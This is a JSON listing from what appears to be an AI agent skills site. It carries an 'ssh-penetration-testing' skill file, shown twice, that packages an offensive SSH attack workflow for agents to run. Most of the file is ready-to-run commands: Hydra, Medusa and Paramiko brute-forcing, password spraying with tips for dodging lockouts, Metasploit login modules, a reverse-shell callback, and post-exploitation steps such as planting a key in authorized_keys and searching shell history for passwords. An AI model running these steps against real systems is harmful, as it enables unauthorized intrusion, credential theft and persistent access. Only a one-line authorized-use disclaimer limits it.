[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6CVWYH527YFWR1FG59PFD2Q":3,"skill-same:01M6CVWYH527YFWR1FG59PFD2Q":67},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":37,"linkOnly":38,"markdownContent":39,"markdownBody":40,"frontMatter":41,"refName":45,"commitSha":46,"skillDirectory":47,"forksCount":48,"repositoryHtmlUrl":49,"repositoryHomepageUrl":49,"ownerHtmlUrl":50,"ownerBlogUrl":6,"ownerDescription":51,"updatedAt":52,"install":53,"resources":66},"01M6CVWYH527YFWR1FG59PFD2Q","ssh-penetration-testing",null,"Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.","Sam-06060\u002Fjarvis-assistant","Sam-06060","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F208600848?v=4","01M6CRKT7C7FXD21V6HXF293S0","Samson Frank Ganta","01M6CRKTBEKYFD8YX5Z1GT99EE",6,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant\u002Fblob\u002Fmain\u002Fmodules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fssh-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36],"testing","penetration testing","ssh","SSH Penetration Testing","security","post-exploitation","methodology","exploitation","enumeration","tunneling","vulnerability","credential","community","2026-11-10 10:12:30",false,"---\nname: ssh-penetration-testing\ndescription: \"Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.\"\nrisk: offensive\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# SSH Penetration Testing\n\n## Purpose\n\nConduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.\n\n## Prerequisites\n\n### Required Tools\n- Nmap with SSH scripts\n- Hydra or Medusa for brute-forcing\n- ssh-audit for configuration analysis\n- Metasploit Framework\n- Python with Paramiko library\n\n### Required Knowledge\n- SSH protocol fundamentals\n- Public\u002Fprivate key authentication\n- Port forwarding concepts\n- Linux command-line proficiency\n\n## Outputs and Deliverables\n\n1. **SSH Enumeration Report** - Versions, algorithms, configurations\n2. **Credential Assessment** - Weak passwords, default credentials\n3. **Vulnerability Assessment** - Known CVEs, misconfigurations\n4. **Tunnel Documentation** - Port forwarding configurations\n\n## Core Workflow\n\n### Phase 1: SSH Service Discovery\n\nIdentify SSH services on target networks:\n\n```bash\n# Quick SSH port scan\nnmap -p 22 192.168.1.0\u002F24 --open\n\n# Common alternate SSH ports\nnmap -p 22,2222,22222,2200 192.168.1.100\n\n# Full port scan for SSH\nnmap -p- --open 192.168.1.100 | grep -i ssh\n\n# Service version detection\nnmap -sV -p 22 192.168.1.100\n```\n\n### Phase 2: SSH Enumeration\n\nGather detailed information about SSH services:\n\n```bash\n# Banner grabbing\nnc 192.168.1.100 22\n# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5\n\n# Telnet banner grab\ntelnet 192.168.1.100 22\n\n# Nmap version detection with scripts\nnmap -sV -p 22 --script ssh-hostkey 192.168.1.100\n\n# Enumerate supported algorithms\nnmap -p 22 --script ssh2-enum-algos 192.168.1.100\n\n# Get host keys\nnmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100\n\n# Check authentication methods\nnmap -p 22 --script ssh-auth-methods --script-args=\"ssh.user=root\" 192.168.1.100\n```\n\n### Phase 3: SSH Configuration Auditing\n\nIdentify weak configurations:\n\n```bash\n# ssh-audit - comprehensive SSH audit\nssh-audit 192.168.1.100\n\n# ssh-audit with specific port\nssh-audit -p 2222 192.168.1.100\n\n# Output includes:\n# - Algorithm recommendations\n# - Security vulnerabilities\n# - Hardening suggestions\n```\n\nKey configuration weaknesses to identify:\n- Weak key exchange algorithms (diffie-hellman-group1-sha1)\n- Weak ciphers (arcfour, 3des-cbc)\n- Weak MACs (hmac-md5, hmac-sha1-96)\n- Deprecated protocol versions\n\n### Phase 4: Credential Attacks\n\n#### Brute-Force with Hydra\n\n```bash\n# Single username, password list\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.100\n\n# Username list, single password\nhydra -L users.txt -p Password123 ssh:\u002F\u002F192.168.1.100\n\n# Username and password lists\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.100\n\n# With specific port\nhydra -l admin -P passwords.txt -s 2222 ssh:\u002F\u002F192.168.1.100\n\n# Rate limiting evasion (slow)\nhydra -l admin -P passwords.txt -t 1 -w 5 ssh:\u002F\u002F192.168.1.100\n\n# Verbose output\nhydra -l admin -P passwords.txt -vV ssh:\u002F\u002F192.168.1.100\n\n# Exit on first success\nhydra -l admin -P passwords.txt -f ssh:\u002F\u002F192.168.1.100\n```\n\n#### Brute-Force with Medusa\n\n```bash\n# Basic brute-force\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh\n\n# Multiple targets\nmedusa -H targets.txt -u admin -P passwords.txt -M ssh\n\n# With username list\nmedusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh\n\n# Specific port\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222\n```\n\n#### Password Spraying\n\n```bash\n# Test common password across users\nhydra -L users.txt -p Summer2024! ssh:\u002F\u002F192.168.1.100\n\n# Multiple common passwords\nfor pass in \"Password123\" \"Welcome1\" \"Summer2024!\"; do\n    hydra -L users.txt -p \"$pass\" ssh:\u002F\u002F192.168.1.100\ndone\n```\n\n### Phase 5: Key-Based Authentication Testing\n\nTest for weak or exposed keys:\n\n```bash\n# Attempt login with found private key\nssh -i id_rsa user@192.168.1.100\n\n# Specify key explicitly (bypass agent)\nssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100\n\n# Force password authentication\nssh -o PreferredAuthentications=password user@192.168.1.100\n\n# Try common key names\nfor key in id_rsa id_dsa id_ecdsa id_ed25519; do\n    ssh -i \"$key\" user@192.168.1.100\ndone\n```\n\nCheck for exposed keys:\n\n```bash\n# Common locations for private keys\n~\u002F.ssh\u002Fid_rsa\n~\u002F.ssh\u002Fid_dsa\n~\u002F.ssh\u002Fid_ecdsa\n~\u002F.ssh\u002Fid_ed25519\n\u002Fetc\u002Fssh\u002Fssh_host_*_key\n\u002Froot\u002F.ssh\u002F\n\u002Fhome\u002F*\u002F.ssh\u002F\n\n# Web-accessible keys (check with curl\u002Fwget)\ncurl -s http:\u002F\u002Ftarget.com\u002F.ssh\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fbackup\u002Fssh_keys.tar.gz\n```\n\n### Phase 6: Vulnerability Exploitation\n\nSearch for known vulnerabilities:\n\n```bash\n# Search for exploits\nsearchsploit openssh\nsearchsploit openssh 7.2\n\n# Common SSH vulnerabilities\n# CVE-2018-15473 - Username enumeration\n# CVE-2016-0777 - Roaming vulnerability\n# CVE-2016-0778 - Buffer overflow\n\n# Metasploit enumeration\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.100\nrun\n\n# Username enumeration (CVE-2018-15473)\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nrun\n```\n\n### Phase 7: SSH Tunneling and Port Forwarding\n\n#### Local Port Forwarding\n\nForward local port to remote service:\n\n```bash\n# Syntax: ssh -L \u003Clocal_port>:\u003Cremote_host>:\u003Cremote_port> user@ssh_server\n\n# Access internal web server through SSH\nssh -L 8080:192.168.1.50:80 user@192.168.1.100\n# Now access http:\u002F\u002Flocalhost:8080\n\n# Access internal database\nssh -L 3306:192.168.1.50:3306 user@192.168.1.100\n\n# Multiple forwards\nssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100\n```\n\n#### Remote Port Forwarding\n\nExpose local service to remote network:\n\n```bash\n# Syntax: ssh -R \u003Cremote_port>:\u003Clocal_host>:\u003Clocal_port> user@ssh_server\n\n# Expose local web server to remote\nssh -R 8080:localhost:80 user@192.168.1.100\n# Remote can access via localhost:8080\n\n# Reverse shell callback\nssh -R 4444:localhost:4444 user@192.168.1.100\n```\n\n#### Dynamic Port Forwarding (SOCKS Proxy)\n\nCreate SOCKS proxy for network pivoting:\n\n```bash\n# Create SOCKS proxy on local port 1080\nssh -D 1080 user@192.168.1.100\n\n# Use with proxychains\necho \"socks5 127.0.0.1 1080\" >> \u002Fetc\u002Fproxychains.conf\nproxychains nmap -sT -Pn 192.168.1.0\u002F24\n\n# Browser configuration\n# Set SOCKS proxy to localhost:1080\n```\n\n#### ProxyJump (Jump Hosts)\n\nChain through multiple SSH servers:\n\n```bash\n# Jump through intermediate host\nssh -J user1@jump_host user2@target_host\n\n# Multiple jumps\nssh -J user1@jump1,user2@jump2 user3@target\n\n# With SSH config\n# ~\u002F.ssh\u002Fconfig\nHost target\n    HostName 192.168.2.50\n    User admin\n    ProxyJump user@192.168.1.100\n```\n\n### Phase 8: Post-Exploitation\n\nActivities after gaining SSH access:\n\n```bash\n# Check sudo privileges\nsudo -l\n\n# Find SSH keys\nfind \u002F -name \"id_rsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"id_dsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"authorized_keys\" 2>\u002Fdev\u002Fnull\n\n# Check SSH directory\nls -la ~\u002F.ssh\u002F\ncat ~\u002F.ssh\u002Fknown_hosts\ncat ~\u002F.ssh\u002Fauthorized_keys\n\n# Add persistence (add your key)\necho \"ssh-rsa AAAAB3...\" >> ~\u002F.ssh\u002Fauthorized_keys\n\n# Extract SSH configuration\ncat \u002Fetc\u002Fssh\u002Fsshd_config\n\n# Find other users\ncat \u002Fetc\u002Fpasswd | grep -v nologin\nls \u002Fhome\u002F\n\n# History for credentials\ncat ~\u002F.bash_history | grep -i ssh\ncat ~\u002F.bash_history | grep -i pass\n```\n\n### Phase 9: Custom SSH Scripts with Paramiko\n\nPython-based SSH automation:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport paramiko\nimport sys\n\ndef ssh_connect(host, username, password):\n    \"\"\"Attempt SSH connection with credentials\"\"\"\n    client = paramiko.SSHClient()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n    \n    try:\n        client.connect(host, username=username, password=password, timeout=5)\n        print(f\"[+] Success: {username}:{password}\")\n        return client\n    except paramiko.AuthenticationException:\n        print(f\"[-] Failed: {username}:{password}\")\n        return None\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        return None\n\ndef execute_command(client, command):\n    \"\"\"Execute command via SSH\"\"\"\n    stdin, stdout, stderr = client.exec_command(command)\n    output = stdout.read().decode()\n    errors = stderr.read().decode()\n    return output, errors\n\ndef ssh_brute_force(host, username, wordlist):\n    \"\"\"Brute-force SSH with wordlist\"\"\"\n    with open(wordlist, 'r') as f:\n        passwords = f.read().splitlines()\n    \n    for password in passwords:\n        client = ssh_connect(host, username, password.strip())\n        if client:\n            # Run post-exploitation commands\n            output, _ = execute_command(client, 'id; uname -a')\n            print(output)\n            client.close()\n            return True\n    return False\n\n# Usage\nif __name__ == \"__main__\":\n    target = \"192.168.1.100\"\n    user = \"admin\"\n    \n    # Single credential test\n    client = ssh_connect(target, user, \"password123\")\n    if client:\n        output, _ = execute_command(client, \"ls -la\")\n        print(output)\n        client.close()\n```\n\n### Phase 10: Metasploit SSH Modules\n\nUse Metasploit for comprehensive SSH testing:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# SSH Version Scanner\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.0\u002F24\nrun\n\n# SSH Login Brute-Force\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nset VERBOSE true\nrun\n\n# SSH Key Login\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login_pubkey\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset KEY_FILE \u002Fpath\u002Fto\u002Fid_rsa\nrun\n\n# Username Enumeration\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE users.txt\nrun\n\n# Post-exploitation with SSH session\nsessions -i 1\n```\n\n## Quick Reference\n\n### SSH Enumeration Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nc \u003Chost> 22` | Banner grabbing |\n| `ssh-audit \u003Chost>` | Configuration audit |\n| `nmap --script ssh*` | SSH NSE scripts |\n| `searchsploit openssh` | Find exploits |\n\n### Brute-Force Options\n\n| Tool | Command |\n|------|---------|\n| Hydra | `hydra -l user -P pass.txt ssh:\u002F\u002Fhost` |\n| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |\n| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login` |\n\n### Port Forwarding Types\n\n| Type | Command | Use Case |\n|------|---------|----------|\n| Local | `-L 8080:target:80` | Access remote services locally |\n| Remote | `-R 8080:localhost:80` | Expose local services remotely |\n| Dynamic | `-D 1080` | SOCKS proxy for pivoting |\n\n### Common SSH Ports\n\n| Port | Description |\n|------|-------------|\n| 22 | Default SSH |\n| 2222 | Common alternate |\n| 22222 | Another alternate |\n| 830 | NETCONF over SSH |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Always obtain written authorization\n- Brute-forcing may violate ToS\n- Document all testing activities\n\n### Technical Limitations\n- Rate limiting may block attacks\n- Fail2ban or similar may ban IPs\n- Key-based auth prevents password attacks\n- Two-factor authentication adds complexity\n\n### Evasion Techniques\n- Use slow brute-force: `-t 1 -w 5`\n- Distribute attacks across IPs\n- Use timing-based enumeration carefully\n- Respect lockout thresholds\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |\n| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |\n| Tunnel Not Working | Check GatewayPorts\u002FAllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# SSH Penetration Testing\n\n## Purpose\n\nConduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.\n\n## Prerequisites\n\n### Required Tools\n- Nmap with SSH scripts\n- Hydra or Medusa for brute-forcing\n- ssh-audit for configuration analysis\n- Metasploit Framework\n- Python with Paramiko library\n\n### Required Knowledge\n- SSH protocol fundamentals\n- Public\u002Fprivate key authentication\n- Port forwarding concepts\n- Linux command-line proficiency\n\n## Outputs and Deliverables\n\n1. **SSH Enumeration Report** - Versions, algorithms, configurations\n2. **Credential Assessment** - Weak passwords, default credentials\n3. **Vulnerability Assessment** - Known CVEs, misconfigurations\n4. **Tunnel Documentation** - Port forwarding configurations\n\n## Core Workflow\n\n### Phase 1: SSH Service Discovery\n\nIdentify SSH services on target networks:\n\n```bash\n# Quick SSH port scan\nnmap -p 22 192.168.1.0\u002F24 --open\n\n# Common alternate SSH ports\nnmap -p 22,2222,22222,2200 192.168.1.100\n\n# Full port scan for SSH\nnmap -p- --open 192.168.1.100 | grep -i ssh\n\n# Service version detection\nnmap -sV -p 22 192.168.1.100\n```\n\n### Phase 2: SSH Enumeration\n\nGather detailed information about SSH services:\n\n```bash\n# Banner grabbing\nnc 192.168.1.100 22\n# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5\n\n# Telnet banner grab\ntelnet 192.168.1.100 22\n\n# Nmap version detection with scripts\nnmap -sV -p 22 --script ssh-hostkey 192.168.1.100\n\n# Enumerate supported algorithms\nnmap -p 22 --script ssh2-enum-algos 192.168.1.100\n\n# Get host keys\nnmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100\n\n# Check authentication methods\nnmap -p 22 --script ssh-auth-methods --script-args=\"ssh.user=root\" 192.168.1.100\n```\n\n### Phase 3: SSH Configuration Auditing\n\nIdentify weak configurations:\n\n```bash\n# ssh-audit - comprehensive SSH audit\nssh-audit 192.168.1.100\n\n# ssh-audit with specific port\nssh-audit -p 2222 192.168.1.100\n\n# Output includes:\n# - Algorithm recommendations\n# - Security vulnerabilities\n# - Hardening suggestions\n```\n\nKey configuration weaknesses to identify:\n- Weak key exchange algorithms (diffie-hellman-group1-sha1)\n- Weak ciphers (arcfour, 3des-cbc)\n- Weak MACs (hmac-md5, hmac-sha1-96)\n- Deprecated protocol versions\n\n### Phase 4: Credential Attacks\n\n#### Brute-Force with Hydra\n\n```bash\n# Single username, password list\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt ssh:\u002F\u002F192.168.1.100\n\n# Username list, single password\nhydra -L users.txt -p Password123 ssh:\u002F\u002F192.168.1.100\n\n# Username and password lists\nhydra -L users.txt -P passwords.txt ssh:\u002F\u002F192.168.1.100\n\n# With specific port\nhydra -l admin -P passwords.txt -s 2222 ssh:\u002F\u002F192.168.1.100\n\n# Rate limiting evasion (slow)\nhydra -l admin -P passwords.txt -t 1 -w 5 ssh:\u002F\u002F192.168.1.100\n\n# Verbose output\nhydra -l admin -P passwords.txt -vV ssh:\u002F\u002F192.168.1.100\n\n# Exit on first success\nhydra -l admin -P passwords.txt -f ssh:\u002F\u002F192.168.1.100\n```\n\n#### Brute-Force with Medusa\n\n```bash\n# Basic brute-force\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh\n\n# Multiple targets\nmedusa -H targets.txt -u admin -P passwords.txt -M ssh\n\n# With username list\nmedusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh\n\n# Specific port\nmedusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222\n```\n\n#### Password Spraying\n\n```bash\n# Test common password across users\nhydra -L users.txt -p Summer2024! ssh:\u002F\u002F192.168.1.100\n\n# Multiple common passwords\nfor pass in \"Password123\" \"Welcome1\" \"Summer2024!\"; do\n    hydra -L users.txt -p \"$pass\" ssh:\u002F\u002F192.168.1.100\ndone\n```\n\n### Phase 5: Key-Based Authentication Testing\n\nTest for weak or exposed keys:\n\n```bash\n# Attempt login with found private key\nssh -i id_rsa user@192.168.1.100\n\n# Specify key explicitly (bypass agent)\nssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100\n\n# Force password authentication\nssh -o PreferredAuthentications=password user@192.168.1.100\n\n# Try common key names\nfor key in id_rsa id_dsa id_ecdsa id_ed25519; do\n    ssh -i \"$key\" user@192.168.1.100\ndone\n```\n\nCheck for exposed keys:\n\n```bash\n# Common locations for private keys\n~\u002F.ssh\u002Fid_rsa\n~\u002F.ssh\u002Fid_dsa\n~\u002F.ssh\u002Fid_ecdsa\n~\u002F.ssh\u002Fid_ed25519\n\u002Fetc\u002Fssh\u002Fssh_host_*_key\n\u002Froot\u002F.ssh\u002F\n\u002Fhome\u002F*\u002F.ssh\u002F\n\n# Web-accessible keys (check with curl\u002Fwget)\ncurl -s http:\u002F\u002Ftarget.com\u002F.ssh\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fid_rsa\ncurl -s http:\u002F\u002Ftarget.com\u002Fbackup\u002Fssh_keys.tar.gz\n```\n\n### Phase 6: Vulnerability Exploitation\n\nSearch for known vulnerabilities:\n\n```bash\n# Search for exploits\nsearchsploit openssh\nsearchsploit openssh 7.2\n\n# Common SSH vulnerabilities\n# CVE-2018-15473 - Username enumeration\n# CVE-2016-0777 - Roaming vulnerability\n# CVE-2016-0778 - Buffer overflow\n\n# Metasploit enumeration\nmsfconsole\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.100\nrun\n\n# Username enumeration (CVE-2018-15473)\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nrun\n```\n\n### Phase 7: SSH Tunneling and Port Forwarding\n\n#### Local Port Forwarding\n\nForward local port to remote service:\n\n```bash\n# Syntax: ssh -L \u003Clocal_port>:\u003Cremote_host>:\u003Cremote_port> user@ssh_server\n\n# Access internal web server through SSH\nssh -L 8080:192.168.1.50:80 user@192.168.1.100\n# Now access http:\u002F\u002Flocalhost:8080\n\n# Access internal database\nssh -L 3306:192.168.1.50:3306 user@192.168.1.100\n\n# Multiple forwards\nssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100\n```\n\n#### Remote Port Forwarding\n\nExpose local service to remote network:\n\n```bash\n# Syntax: ssh -R \u003Cremote_port>:\u003Clocal_host>:\u003Clocal_port> user@ssh_server\n\n# Expose local web server to remote\nssh -R 8080:localhost:80 user@192.168.1.100\n# Remote can access via localhost:8080\n\n# Reverse shell callback\nssh -R 4444:localhost:4444 user@192.168.1.100\n```\n\n#### Dynamic Port Forwarding (SOCKS Proxy)\n\nCreate SOCKS proxy for network pivoting:\n\n```bash\n# Create SOCKS proxy on local port 1080\nssh -D 1080 user@192.168.1.100\n\n# Use with proxychains\necho \"socks5 127.0.0.1 1080\" >> \u002Fetc\u002Fproxychains.conf\nproxychains nmap -sT -Pn 192.168.1.0\u002F24\n\n# Browser configuration\n# Set SOCKS proxy to localhost:1080\n```\n\n#### ProxyJump (Jump Hosts)\n\nChain through multiple SSH servers:\n\n```bash\n# Jump through intermediate host\nssh -J user1@jump_host user2@target_host\n\n# Multiple jumps\nssh -J user1@jump1,user2@jump2 user3@target\n\n# With SSH config\n# ~\u002F.ssh\u002Fconfig\nHost target\n    HostName 192.168.2.50\n    User admin\n    ProxyJump user@192.168.1.100\n```\n\n### Phase 8: Post-Exploitation\n\nActivities after gaining SSH access:\n\n```bash\n# Check sudo privileges\nsudo -l\n\n# Find SSH keys\nfind \u002F -name \"id_rsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"id_dsa\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"authorized_keys\" 2>\u002Fdev\u002Fnull\n\n# Check SSH directory\nls -la ~\u002F.ssh\u002F\ncat ~\u002F.ssh\u002Fknown_hosts\ncat ~\u002F.ssh\u002Fauthorized_keys\n\n# Add persistence (add your key)\necho \"ssh-rsa AAAAB3...\" >> ~\u002F.ssh\u002Fauthorized_keys\n\n# Extract SSH configuration\ncat \u002Fetc\u002Fssh\u002Fsshd_config\n\n# Find other users\ncat \u002Fetc\u002Fpasswd | grep -v nologin\nls \u002Fhome\u002F\n\n# History for credentials\ncat ~\u002F.bash_history | grep -i ssh\ncat ~\u002F.bash_history | grep -i pass\n```\n\n### Phase 9: Custom SSH Scripts with Paramiko\n\nPython-based SSH automation:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport paramiko\nimport sys\n\ndef ssh_connect(host, username, password):\n    \"\"\"Attempt SSH connection with credentials\"\"\"\n    client = paramiko.SSHClient()\n    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n    \n    try:\n        client.connect(host, username=username, password=password, timeout=5)\n        print(f\"[+] Success: {username}:{password}\")\n        return client\n    except paramiko.AuthenticationException:\n        print(f\"[-] Failed: {username}:{password}\")\n        return None\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        return None\n\ndef execute_command(client, command):\n    \"\"\"Execute command via SSH\"\"\"\n    stdin, stdout, stderr = client.exec_command(command)\n    output = stdout.read().decode()\n    errors = stderr.read().decode()\n    return output, errors\n\ndef ssh_brute_force(host, username, wordlist):\n    \"\"\"Brute-force SSH with wordlist\"\"\"\n    with open(wordlist, 'r') as f:\n        passwords = f.read().splitlines()\n    \n    for password in passwords:\n        client = ssh_connect(host, username, password.strip())\n        if client:\n            # Run post-exploitation commands\n            output, _ = execute_command(client, 'id; uname -a')\n            print(output)\n            client.close()\n            return True\n    return False\n\n# Usage\nif __name__ == \"__main__\":\n    target = \"192.168.1.100\"\n    user = \"admin\"\n    \n    # Single credential test\n    client = ssh_connect(target, user, \"password123\")\n    if client:\n        output, _ = execute_command(client, \"ls -la\")\n        print(output)\n        client.close()\n```\n\n### Phase 10: Metasploit SSH Modules\n\nUse Metasploit for comprehensive SSH testing:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# SSH Version Scanner\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nset RHOSTS 192.168.1.0\u002F24\nrun\n\n# SSH Login Brute-Force\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nset VERBOSE true\nrun\n\n# SSH Key Login\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_login_pubkey\nset RHOSTS 192.168.1.100\nset USERNAME admin\nset KEY_FILE \u002Fpath\u002Fto\u002Fid_rsa\nrun\n\n# Username Enumeration\nuse auxiliary\u002Fscanner\u002Fssh\u002Fssh_enumusers\nset RHOSTS 192.168.1.100\nset USER_FILE users.txt\nrun\n\n# Post-exploitation with SSH session\nsessions -i 1\n```\n\n## Quick Reference\n\n### SSH Enumeration Commands\n\n| Command | Purpose |\n|---------|---------|\n| `nc \u003Chost> 22` | Banner grabbing |\n| `ssh-audit \u003Chost>` | Configuration audit |\n| `nmap --script ssh*` | SSH NSE scripts |\n| `searchsploit openssh` | Find exploits |\n\n### Brute-Force Options\n\n| Tool | Command |\n|------|---------|\n| Hydra | `hydra -l user -P pass.txt ssh:\u002F\u002Fhost` |\n| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |\n| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |\n| Metasploit | `use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login` |\n\n### Port Forwarding Types\n\n| Type | Command | Use Case |\n|------|---------|----------|\n| Local | `-L 8080:target:80` | Access remote services locally |\n| Remote | `-R 8080:localhost:80` | Expose local services remotely |\n| Dynamic | `-D 1080` | SOCKS proxy for pivoting |\n\n### Common SSH Ports\n\n| Port | Description |\n|------|-------------|\n| 22 | Default SSH |\n| 2222 | Common alternate |\n| 22222 | Another alternate |\n| 830 | NETCONF over SSH |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Always obtain written authorization\n- Brute-forcing may violate ToS\n- Document all testing activities\n\n### Technical Limitations\n- Rate limiting may block attacks\n- Fail2ban or similar may ban IPs\n- Key-based auth prevents password attacks\n- Two-factor authentication adds complexity\n\n### Evasion Techniques\n- Use slow brute-force: `-t 1 -w 5`\n- Distribute attacks across IPs\n- Use timing-based enumeration carefully\n- Respect lockout thresholds\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |\n| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |\n| Tunnel Not Working | Check GatewayPorts\u002FAllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":42,"author":43,"source":36,"date_added":44,"description":7},"offensive","zebbern","2026-02-27","main","a50a3aa6b39fb0e1b7db88bef1bfc9c93606e126","modules\u002Fagent_skills\u002Fawesome-skills\u002Fplaybooks\u002Fssh-penetration-testing",0,"https:\u002F\u002Fgithub.com\u002FSam-06060\u002Fjarvis-assistant","https:\u002F\u002Fgithub.com\u002FSam-06060","Mobile Application Developer | Kotlin | Flutter, KMP, Swfit, Android,Swift UI | Building at Saar It Resources | Creator of Jarvis (AI Assistant)","2026-06-23 05:13:38",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add Sam-06060\u002Fjarvis-assistant --skill ssh-penetration-testing",{"tool":59,"command":60},"bunx","bunx skills add Sam-06060\u002Fjarvis-assistant --skill ssh-penetration-testing",{"tool":62,"command":63},"pnpm","pnpm dlx skills add Sam-06060\u002Fjarvis-assistant --skill 